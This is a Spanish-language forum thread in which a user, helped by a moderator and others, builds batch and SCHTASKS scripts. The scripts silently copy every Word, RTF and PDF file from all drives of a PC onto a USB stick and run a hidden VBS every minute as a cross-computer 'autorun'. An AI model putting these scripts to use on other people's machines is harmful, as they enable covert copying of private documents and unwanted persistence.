hola amigos tengo este bat
(FOR /R "A:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "B:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "C:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "D:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "E:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "F:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "G:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "H:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "I:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "J:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "K:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "L:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "M:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "N:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "O:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "P:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "Q:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "R:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "S:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "T:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "U:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "V:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "W:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "X:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "Y:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
(FOR /R "Z:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
el cual copia todos los archivos de los discos del pc a la usb donde esta el bat
estoy usando todas las letras del abecedario para buscar todos los discos del pc y uso "%1\trabajos\" para que se copien a la usb donde esta el bat
alguien me puede ayudar a simplificar mi codigo
gracias por sus respuestas
Uf, te pasaste un poco con tanta repetición de código :P
porfavor lee mi respuesta aquí: http://foro.elhacker.net/scripting/bat_que_detecte_automaticamente_usb-t400296.0.html;msg1890277#msg1890277
Aquí tienes:
@ECHO OFF & CHCP 1252 1>NUL
:: INFO:
::
:: # WMI Class Win32_LogicalDisk Help
::
:: Drivetype 2: Removable
:: Drivetype 3: Local hard disk
REM Filtro el output del comando WMIC.
For /F %%# in (
'wmic logicaldisk get caption^,drivetype ^| FINDSTR "2 3"'
) Do (
REM Saco las letras de los dispositivos disponibles.
Call Set "DRIVES=%%DRIVES%%%%#"
)
REM Elimino la letra de unidad desde la que se inició este Script Bat.
Call Set "DRIVES=%%DRIVES:%~d0=%%"
REM Reemplazo el caracter ":" del resto de letras por un caracter de "espacio",
REM De esta manera puedo usar el delimitador por defecto ("espacio") en un FOR.
Set "DRIVES=%DRIVES::= %"
REM Por último, proceso cada letra de unidad.
For %%D in (%DRIVES%) Do (
Echo [+] Procesando unidad "%%D:\" | MORE
FOR /R "%%D:\" %%# IN (
"*.doc","*.d0cx","*.rtf","*.pdf"
) DO (
Echo "%%~#"
Copy /Y "%%~#" "%~d0\trabajos\" 1>NUL
)
)
Pause&Exit
Saludos
totalmente agradecido
como quito el mensaje "precione una tecla para continuar..."
y otra pregunta
a este codigo
@echo off
SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR F:\Hide\start.vbs
como le creo una variable para la letra de la usb, u otro mecanismo que ejecute el archivo vbs?
No entiendo muy bien la pregunta.
¿Quieres que la tarea programada ejecute el VBS, y este VBS se supone que le quieres asignar la letra de unidad desde donde tienes tu script?.
La letra del USB desde donde ejecutas el script la tienes almacenada en esta variable especial:
%~d0
REM Ejemplo:
Set "DriveLetter=%~d0"
Echo %DriveLetter%
SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %DriveLetter%" /TR "WScript.exe \"%DriveLetter%\Hide\start.vbs\""
Saludos
el problema es que la ruta del archivo start.vbs es F:\Hide\start.vbs pero cuando la usb tenga asiganda una letra diferente el run.cmd no lo encontrara
probando tu codigo
gracias
Hola binario010101.
Supongo, que te refieres a esto:
For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%r:\Hide\start.vbs (
SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %%r" /TR "WScript.exe \" %%r\Hide\start.vbs\""))
SaluDos.
gracias amigos pero ningun codigo me funciona
tengo este guardado como run.cm en formato ANSI pero no funciona
@echo off
SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR E:\start.vbs
intente con este de EleKtro H@cker pero tampoco funciona
REM Ejemplo:
Set "DriveLetter=%~d0"
Echo %DriveLetter%
SCHTASKS /create /SC "MINUTE" /MO "1" /tn "Copiar %DriveLetter%" /TR "WScript.exe \"%DriveLetter%\start.vbs\""
probe con el de Segadorfelix pero tampoco funciona
For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%r:\start.vbs (
SCHTASKS /create /SC "MINUTE" /MO "1" /tn "Copiar %%r" /TR "WScript.exe \" %%r\start.vbs\""))
alguna idea porque ninguno me funciona?
cuando ejecuto manualmente el archivo run.cmd con este codigo
For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%r:\Hide\start.vbs (
SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %%r" /TR "WScript.exe \" %%r\Hide\start.vbs\""))
me aparece esto
error al cargar la secuencia de comando "C:\windows\system32\ G:\start.vbs (el nombre del archivo o el nombre de directorio o la sintaxis de la etiqueta del volumen no son correctos)
En lugar de copiar los ejemplos de los demás sin entender su funcionamiento deberías procurar buscar lo que significa cada cosa y para que sirven.
El ejemplo de @Segadorfelix contiene dos errores de sintaxis, aquí estás dejando un espacio entre la variable del FOR y la comilla doble \" %%r,
pero además de eso, la variable de FOR contiene una letra, un solo caracter, ¿entonces no crees que aquí faltaría algo más?:
\" %%r\Hide\start.vbs\"
Hazle un Echo a la cadena para darte cuenta de lo que falta.
Saludos
el error del espacio luego del for no lo iba notado el segundo error si.
ese codigo me creo un bucle infinito alguien sabe como borrarlo ya intenete con
@echo off
SCHTASKS /tn copiar /End
pause
SCHTASKS /TR "copiar" /delete
y otras variantes pero no funciona
use schtasks /query
para ver las tareas programadas
tengo dos creadas por mi que quiero eliminar
copiar
Copiar G
la tarea copiar la borre usando SCHTASKS /Delete /TN copiar
pero cuando intento con SCHTASKS /Delete /TN Copiar G
y SCHTASKS /Delete /TN Copiar_G
no me funciono
tienes el argumento abierto en Copiar G, encierralo con comillas dobles...
De todas formas puedes eliminar tareas desde el programador de tareas, en el panel de control.
saludos
bueno la respuesta era usar SCHTASKS /Delete /TN "Copiar G"
por el panel de control no la encontré la borre por cmd
[Elektro]:
Si veo otra infracción cerraré el post.
Respeta las normas del foro, deja de hacer tanto doble post,
y porfavor, no envies mensajes privados y duplicados haciendo Spam en el buzón para formular preguntas, utiliza el foro, para eso está,
no es necesario que me envies el mismo privado varias veces, modero esta sección y eso significa que leo todos los posts, los leeré/contestaré cuando pueda hacerlo.
http://foro.elhacker.net/reglas
Un saludo
no funciona
For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z)
DO
(if exist %%r:\Hide\start.vbs )
SCHTASKS /create /SC "MINUTE" /MO "1" /tn "Copiar %%r" /TR "WScript.exe" \ %%r:\Hide\start.vbs\"))
intente asi pero crea la tarea copiar en todos los disco
For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (SCHTASKS /create /SC MINUTE /MO 1 /tn Copiar /TR "if exist %%r:\1.jpg")
estoy probando el codigo original
@echo off
SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR C:\1.jpg
este codigo es el mas cencillo se debe iniciar la tarea "copiar" la cual se debe ejecutar cada minuto y abrir la imagen 1.jpg
pero no se inicia automaticamente a menos que la ejecute manualmente pero ese no es el objetivo. pues debe iniciarse automaticamente ??????????????????????????????????
Hola,
la sintaxis es correcta, los parámettros también,
lo he testeado, la tarea programada se ejecuta cada 1 minuto.
¿Que windows tienes?
Comprueba que tienes el servicio del programador de tareas habilitado y activado, de lo contrario óbviamente no va a servir de nada crear tareas programadas.
sc query schedule
CitarESTADO : 4 RUNNING
Comprueba también que no tengas un conflicto de tareas duplicadas en el programador de tareas.
un saludo
tengo win 7
no tengo conflicto de tareas programadas
y mi estado es
sc query schedule RUNNING
NOMBRE_SERVICIO: schedule
TIPO : 20 WIN32_SHARE_PROCESS
ESTADO : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
CÓD_SALIDA_WIN32 : 0 (0x0)
CÓD_SALIDA_SERVICIO: 0 (0x0)
PUNTO_COMPROB. : 0x0
INDICACIÓN_INICIO : 0x0
acabo de crear varios archivos y ninguno se inicia automaticamente
Cita de: binario010101 en 13 Octubre 2013, 03:58 AMacabo de crear varios archivos y ninguno se inicia automaticamente
Pues en ese caso y según lo que comentas, el único posible error es que no estés encerrando el argumento con comillas dobles:
... /tr "C:\ruta con espacios\archivo.bat"
O que no estés usando la ruta absoluta del archivo, recuerda que el directorio actual del entorno de una nueva CMD es en la carpeta del sistema "C:\Windows\system32".
Saludos
lei en internet que los archvos cmd. programados con el comando SCHTASKS para hacer tareas programadas se pueden ubicar en cualquier parte del disco y pues hasta el momento no e probado colocando el archivo en "C:\Windows\system32", igual lo que busco es hacer una especia de autorun para mi usb por lo cual el archivo debe estar en la usb para que funcione cada ves que cambio de equipo
gracias